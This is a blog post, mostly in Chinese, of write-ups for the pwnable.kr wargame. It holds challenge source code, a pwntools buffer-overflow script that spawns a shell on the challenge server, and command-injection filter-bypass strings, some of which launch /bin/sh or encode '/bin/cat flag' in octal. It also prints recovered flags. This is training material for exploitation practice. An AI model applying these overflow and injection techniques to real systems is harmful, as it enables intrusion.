wywwzjj's Blog

pwnable.kr

字数统计: 3.3k阅读时长: 19 min
2020/10/10 Share

fd - 1 pt

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)
➜  Tools ssh fd@pwnable.kr -p2222
The authenticity of host '[pwnable.kr]:2222 ([128.61.240.205]:2222)' can't be established.
ECDSA key fingerprint is SHA256:I9nWMZvctQv4Vypnh9ICs6aB2g20WV/EjTIYJ83P0K8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[pwnable.kr]:2222,[128.61.240.205]:2222' (ECDSA) to the list of known hosts.
fd@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have new mail.
Last login: Fri Oct 9 06:05:28 2020 from 222.206.18.226
fd@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root fd 4096 Oct 26 2016 .
drwxr-xr-x 116 root root 4096 Apr 17 14:10 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4096 Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}
fd@pwnable:~$ echo LETMEWIN | ./fd 4660
good job :)
mommy! I think I know what a file descriptor is!!

collision - 3 pt

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char *p) {
int *ip = (int *) p;
int res = 0;
for (int i = 0; i < 5; i++) {
res += ip[i];
}
return res;
}

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}

if (strlen(argv[1]) != 20) {
printf("passcode length should be 20 bytes\n");
return 0;
}

if (hashcode == check_password(argv[1])) {
system("/bin/cat flag");
return 0;
} else
printf("wrong passcode.\n");
return 0;
}

注意的点:

  • char 转 int,拿到的是 ASCII

    转义为short型整数: struct.unpack('<hh', bytes(b'\x01\x00\x00\x00'))  ==>  (1, 0)
    转义为long型整数: struct.unpack('<L', bytes(b'\x01\x00\x00\x00')) ==> (1,)
  • 小端,需要转一下

>>> from pwn import *
>>> p32(0x21DD09EC - u32('\x01\x01\x01\x01')*4)
b'\xe8\x05\xd9\x1d'

col@pwnable:~$ ./col `python -c "print '\x01' * 16 + '\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)

bof - 5 pt

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key) {
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if (key == 0xcafebabe) {
system("/bin/sh");
} else {
printf("Nah..\n");
}
}

int main(int argc, char *argv[]) {
func(0xdeadbeef);
return 0;
}

目标:覆盖 key 的值为 0xcafebabe。找一下 overflowmekey 的偏移量就好了。

.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
.text:0000066B ; ------------------------------------------------------------------------

关键的比较逻辑:cmp [ebp+8], 0CAFEBABEh。gets 这里也是用的相对 ebp 的地址,这就简单了。

传参给 gets 是用的 eax,这有条 lea eax, [ebp+s] 的指令,所以 overflowme 数组的起始地址是 ebp+s

而 s 是 -2Ch,所以这里的地址差就是 0x2c + 8,即 52。

from pwn import *

target = remote('pwnable.kr', 9000)

payload = b"A" * 52 + p32(0xcafebabe)
target.sendline(payload)

#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()

Python3 的 byte 不能直接和 str 拼接了,需要转一下。

flag - 7 pt

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

IDA 打开,发现只有一个 start 和另外两个函数,可能有壳,upx -d。

ELF 的也可以用 exeinfo 查看一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}

跟进 flag 定义,就能看到 flag 了。

passcode - 10 pt

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <stdlib.h>

void login() {
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if (passcode1 == 338150 && passcode2 == 13371337) {
printf("Login OK!\n");
system("/bin/cat flag");
} else {
printf("Login Failed!\n");
exit(0);
}
}

void welcome() {
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main() {
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
scanf("%100s", name);

这里的 100s 是限制输入长度不能超过 100,超过就 Segmentation fault (core dumped)

passcode@pwnable:~$ checksec passcode
[*] '/home/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这个题有点意思,考的是 GOT 表劫持。

random - 1 pt

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>

int main() {
unsigned int random;
random = rand(); // random value!

unsigned int key = 0;
scanf("%d", &key);

if ((key ^ random) == 0xdeadbeef) {
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

未指定 srand 播种,则每次都是默认种子,所以每次运行得到的随机数是固定的。

#include "stdio.h"
#include "stdlib.h"

int main() {
for (int i = 0; i < 5; i++) {
printf("%d ", rand());
}

return 0;
}

// 1804289383 846930886 1681692777 1714636915 1957747793
pwndbg> p random
$1 = 1804289383

>>> 1804289383 ^ 0xdeadbeef
3039230856

input - 4 pt

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char *argv[], char *envp[]) {
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if (argc != 100) return 0;
if (strcmp(argv['A'], "\x00")) return 0;
if (strcmp(argv['B'], "\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if (memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if (memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if (strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE *fp = fopen("\x0a", "r");
if (!fp) return 0;
if (fread(buf, 4, 1, fp) != 1) return 0;
if (memcmp(buf, "\x00\x00\x00\x00", 4)) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if (sd == -1) {
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons(atoi(argv['C']));
if (bind(sd, (struct sockaddr *) &saddr, sizeof(saddr)) < 0) {
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *) &caddr, (socklen_t * ) & c);
if (cd < 0) {
printf("accept error, tell admin\n");
return 0;
}
if (recv(cd, buf, 4, 0) != 4) return 0;
if (memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

leg - 2 pt

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

mistake - 1 pt

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

shellshock - 1 pt

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

coin1 - 6 pt

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

blackjack - 1 pt

Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?


Running at : nc pwnable.kr 9009

lotto - 2 pt

Mommy! I made a lotto program for my homework.
do you want to play?


ssh lotto@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play() {
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if (read(fd, lotto, 6) != 6) {
printf("error2. tell admin\n");
exit(-1);
}
for (int i = 0; i < 6; i++) {
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for (int i = 0; i < 6; i++) {
for (j = 0; j < 6; j++) {
if (lotto[i] == submit[j]) {
match++;
}
}
}

// win!
if (match == 6) {
system("/bin/cat flag");
} else {
printf("bad luck...\n");
}

}

void help() {
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char *argv[]) {
// menu
unsigned int menu;

while (1) {
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch (menu) {
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <string.h>

int filter(char *cmd) {
int r = 0;
r += strstr(cmd, "flag") != 0;
r += strstr(cmd, "sh") != 0;
r += strstr(cmd, "tmp") != 0;
return r;
}

int main(int argc, char *argv[], char **envp) {
putenv("PATH=/thankyouverymuch");
if (filter(argv[1])) return 0;
system(argv[1]);
return 0;
}

有简单过滤的命令执行 :)

cmd1@pwnable:~$ ./cmd1 '/bin/cat fl""ag'
mommy now I get what PATH environment is for :)

cmd2 - 9 pt

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
#include <stdio.h>
#include <string.h>

int filter(char *cmd) {
int r = 0;
r += strstr(cmd, "=") != 0;
r += strstr(cmd, "PATH") != 0;
r += strstr(cmd, "export") != 0;
r += strstr(cmd, "/") != 0;
r += strstr(cmd, "`") != 0;
r += strstr(cmd, "flag") != 0;
return r;
}

extern char **environ;

void delete_env() {
char **p;
for (p = environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char *argv[], char **envp) {
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if (filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system(argv[1]);
return 0;
}

有意思的点在于,在 / 没了的情况下绕 PATH

这有个小知识点,Bash、sh 的 built-in 命令。

http://manpages.ubuntu.com/manpages/xenial/man7/bash-builtins.7.html

下面的解法全是围绕这些 built-in 展开 :)

command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function lookup. Only builtin
commands or commands found in the PATH are executed. If the -p option is given,
the search for command is performed using a default value for PATH that is
guaranteed to find all of the standard utilities. If either the -V or -v option is
supplied, a description of command is printed. The -v option causes a single word
indicating the command or filename used to invoke command to be displayed; the -V
option produces a more verbose description. If the -V or -v option is supplied,
the exit status is 0 if command was found, and 1 if not. If neither option is
supplied and an error occurred or command cannot be found, the exit status is 127.
Otherwise, the exit status of the command builtin is the exit status of command.
cmd2@pwnable:~$ ./cmd2 'command -p cat fla*'
command -p cat fla*g
FuN_w1th_5h3ll_v4riabl3s_haha

cmd2@pwnable:~$ ./cmd2 'read b < f""lag; echo $b'
read b < f""lag; echo $b
FuN_w1th_5h3ll_v4riabl3s_haha

cmd2@pwnable:~$ ./cmd2 'set -s'
set -s
/bin/ls
cmd2 cmd2.c flag
/bin/cat flag
FuN_w1th_5h3ll_v4riabl3s_haha
cd / && /home/cmd2/cmd2 '$(pwd)"bin"$(pwd)cat $(pwd)"home"$(pwd)"cmd2"$(pwd)"fl""ag"'

# 八进制
./cmd2 '$(printf \\057bin\\057cat) fl""ag'
./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'

./cmd2 '$(printf "%b%c%c%c%b%c%c%c%b%b%b%c%c%c%c" "\57" "b" "i" "n" "\57" "c" "a" "t" "\40" "\56" "\57" "f" "l" "a" "g")'

echo "/bin/cat flag" | ./cmd2 "read myvar; command \$myvar"


./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag


./cmd2 '$(printf "\57bin\57sh")'
$ /bin/cat < flag

uaf - 8 pt

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

memcpy - 10 pt

Are you tired of hacking?, take some rest here.
Just help me out with my small experiment regarding memcpy performance.
after that, flag is yours.

http://pwnable.kr/bin/memcpy.c

ssh memcpy@pwnable.kr -p2222 (pw:guest)

asm - 6 pt

Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

unlink - 10 pt

Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

blukat - 3 pt

Sometimes, pwnable is strange...
hint: if this challenge is hard, you are a skilled player.

ssh blukat@pwnable.kr -p2222 (pw: guest)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>

char flag[100];
char password[100];
char *key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";

void calc_flag(char *s) {
int i;
for (i = 0; i < strlen(s); i++) {
flag[i] = s[i] ^ key[i];
}
printf("%s\n", flag);
}

int main() {
FILE *fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if (!strcmp(password, buf)) {
printf("congrats! here is your flag: ");
calc_flag(password);
} else {
printf("wrong guess!\n");
exit(0);
}
return 0;
}
blukat@pwnable:~$ ls -al
total 36
drwxr-x--- 4 root blukat 4096 Aug 16 2018 .
drwxr-xr-x 116 root root 4096 Apr 17 14:10 ..
-r-xr-sr-x 1 root blukat_pwn 9144 Aug 8 2018 blukat
-rw-r--r-- 1 root root 645 Aug 8 2018 blukat.c
dr-xr-xr-x 2 root root 4096 Aug 16 2018 .irssi
-rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password
drwxr-xr-x 2 root root 4096 Aug 16 2018 .pwntools-cache

blukat@pwnable:~$ cat password
cat: password: Permission denied


blukat@pwnable:~$ ./blukat
guess the password!
cat: password: Permission denied
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

horcruxes - 7 pt

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)
CATALOG
  1. 1. fd - 1 pt
  2. 2. collision - 3 pt
  3. 3. bof - 5 pt
  4. 4. flag - 7 pt
  5. 5. passcode - 10 pt
  6. 6. random - 1 pt
  7. 7. input - 4 pt
  8. 8. leg - 2 pt
  9. 9. mistake - 1 pt
  10. 10. shellshock - 1 pt
  11. 11. coin1 - 6 pt
  12. 12. blackjack - 1 pt
  13. 13. lotto - 2 pt
  14. 14. cmd1 - 1 pt
  15. 15. cmd2 - 9 pt
  16. 16. uaf - 8 pt
  17. 17. memcpy - 10 pt
  18. 18. asm - 6 pt
  19. 19. unlink - 10 pt
  20. 20. blukat - 3 pt
  21. 21. horcruxes - 7 pt